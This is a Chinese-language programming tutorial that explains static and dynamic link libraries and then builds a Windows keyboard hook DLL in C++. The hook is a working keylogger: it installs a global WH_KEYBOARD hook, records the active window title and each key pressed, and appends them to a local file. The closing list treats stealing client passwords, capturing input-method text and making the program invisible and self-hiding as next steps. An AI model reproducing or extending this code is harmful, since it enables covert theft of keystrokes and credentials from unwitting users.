一、创建
本文钩子的使用以动态库方式完成
钩子是一个用于Windows下所有事件的监听器,用于抓取其系统中的所有消息。
使用Windows桌面应用向导,生成一个桌面应用。
再解决方案下添加另一个项目,该项目用来写钩子
然后为钩子项目准备两个文件,用于声明和实现
#pragma once
//以C的方式,以动态链接库的方式导出函数
//extern "C" 以C语言方式(函数),此外,C++方式则一般为类
//_declspec(dllexport)导出函数为dll函数
extern "C" _declspec(dllexport) bool installHook();
extern "C" _declspec(dllexport) bool unInstallHook();
bool installHook() {//安装钩子
return true;
}
bool unInstallHook() {//卸载钩子
return true;
}
同时,需要在Project.cpp项目中进行修改
//以C语言方式,动态链接库形式导入函数
extern "C" _declspec(dllimport) bool installHook();
extern "C" _declspec(dllimport) bool unInstallHook();
点击重新生成
成功后,在项目的debug处看到
我们成功生成了应用程序扩展库文件
二、DLL与SLL
SLL(static link library):使用静态链接库。在编译时,将代码加入项目当中。
- 两个文件相关:.h头文件与lib文件。
- .h头文件:包含lib中说明输出的类或符号原型或数据结构。调用.lib文件时,需要将.h头文件包含入应用程序的源文件中。
- .lib文件:此处为静态lib文件是obj文件的集合。
- .obj文件:是.cpp文件编译之后产生的一种文件。一个.cpp文件编译之后只会产生一个.obj文件,而多个.obj文件就可以连接生成lib文件。
- 我们在使用时,一般就是导入.lib文件的同时,将头文件.h导入,再通过include的方式使用。
DLL(dynamic link library):使用动态链接库。对于项目而言,仅包含在运行时定位DLL函数的可执行代码所需的信息。
- 三个文件相关:.dll文件、.h头文件与lib文件。
- .h头文件:应用程序调用dll时,仍需要将该文件包含入应用程序的源文件中。
- .lib文件:动态lib文件是dll在编译、链接成功后生成的文件。调用dll时,需要将该文件引入应用程序(亦可以可通过LoadLibrary、GetProcAddress装载,此方式 将不需要lib)。
- .dll文件:执行文件。对于发布的文件可以不需要.h头文件和.lib文件而单独使用。但若要继续Debug、修改项目,则仍旧需要其他两个文件。
- 一般需要在生成文件时,通过#pragma comment(lib,"库名称.lib")
三、键盘钩子
现在导入链接库
(.lib文件会在我们完成实现后,运行项目,通过_declspec与.dll文件出现在同一个文件夹,注意.lib文件与调用它的.cpp文件的位置)
安装钩子与卸载钩子
我们需要在窗口创建完毕后,生成钩子,在窗口关闭前删除钩子。
现在修改WndProc回调函数(处理主窗口消息),
实现钩子
记得重新生成,覆盖原有DLL
先完善头文件
#pragma once
#include<windows.h>
//以C的方式,以动态链接库的方式导出函数
//extern "C" 以C语言方式(函数),此外,C++方式则一般为类
//_declspec(dllexport)导出函数为dll函数
extern "C" _declspec(dllexport) bool installHook();//安装钩子
extern "C" _declspec(dllexport) bool unInstallHook();//卸载钩子
HHOOK hHook;
LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM lParam);
bool installHook();
bool unInstallHook();
然后是部分功能的实现,此时钩子是全局监视
#include "KeyHook.h"
LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM lParam) {
//测试
MessageBox(NULL, L"有人进行按键操作", L"钩子处理函数执行", NULL);
//拿到当前操作窗口的标题
//拿到当前按下键上的字符
//保存到文件
return NULL;
}
bool installHook() {//安装钩子
//SetWindowsHook只能适用32位,Ex位升级版
hHook = SetWindowsHookEx(
WH_KEYBOARD,//钩子种类,此处我们埋下键盘消息钩子
hookProc,//设置钩子的处理函数,以回调的形式
GetModuleHandle(L"KeyHook"),//GetModuleHandle:通过项目名称,获得该项目的实例句柄
NULL//线程ID,NULL自动分配
);
if (hHook == NULL)
return false;
//父窗口,内容,标题,提示类型(图标)
MessageBox(NULL, L"钩子已安装", L"提示", NULL);
return true;
}
bool unInstallHook() {//卸载钩子
UnhookWindowsHookEx(hHook);
return true;
}
钩子处理函数
现将钩子处理函数进一步处理函数完善,代码如下
#include "KeyHook.h"
LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM lParam) {
//测试
//MessageBox(NULL, L"有人进行按键操作", L"钩子处理函数执行", NULL);
//拿到当前操作窗口的句柄
HWND hWnd = ::GetActiveWindow();//获得当前活动窗口句柄,使用全局符号,避免有相同函数名称
char windowTextBuff[256] = { 0 };//存储窗口标题
char keyTextBuff[256] = { 0 };//存储按下的字符
if (NULL == hWnd) {//如果没有活动窗口,则去拿顶层窗口
hWnd = ::GetForegroundWindow();
if (NULL == hWnd) {//如果没有窗口,只有桌面,则不要此次数据
//调用下一次钩子处理(再次下钩),意味着消息并未处理,下传消息
return CallNextHookEx(hHook,code,wParam,lParam);
}
}
//拿到当前按下键上的字符
//末尾加 A指的是ANSI
//末尾加 W指的是UNICODE
//不加是一个宏,会自动转换
GetWindowTextA(hWnd, windowTextBuff, 255);
if (code < 0 || code == HC_NOREMOVE) { //排除拿不到的键
return CallNextHookEx(hHook, code, wParam, lParam);
}
if (lParam & 0x40000000) {//排除系统按键
return CallNextHookEx(hHook, code, wParam, lParam);
}
//获取按键
GetKeyNameTextA(lParam, keyTextBuff, 255);
//保存到文件
//创建或打开文件
FILE* fp = NULL;
fopen_s(&fp,"information.txt", "a");//以追加写的方式打开
if (fp == NULL) {
MessageBox(NULL, L"记录文件部署失败", L"提示", NULL);
return CallNextHookEx(hHook, code, wParam, lParam);
}
//合并数据
fprintf_s(fp, "%s : %s\n", windowTextBuff,keyTextBuff);
//保存并关闭文件
fclose(fp);
//意味着消息已经处理,不需要继续下传
return NULL;
}
bool installHook() {//安装钩子
//SetWindowsHook只能适用32位,Ex位升级版
hHook = SetWindowsHookEx(
WH_KEYBOARD,//钩子种类,此处我们埋下键盘消息钩子
hookProc,//设置钩子的处理函数,以回调的形式
GetModuleHandle(L"KeyHook"),//GetModuleHandle:通过项目名称,获得该项目的实例句柄
NULL//线程ID,NULL自动分配
);
if (hHook == NULL)
return false;
//父窗口,内容,标题,提示类型(图标)
MessageBox(NULL, L"钩子已安装", L"提示", NULL);
return true;
}
bool unInstallHook() {//卸载钩子
UnhookWindowsHookEx(hHook);
return true;
}
但这仍然有很多问题。
- 客户端抓取到的密码是加密或者根本无法被抓取
- 抓取项目本身会出问题
- 无法抓取输入法信息
- 需要将窗口绘画函数关闭,进行完全不可见操作
- 需要隐藏自身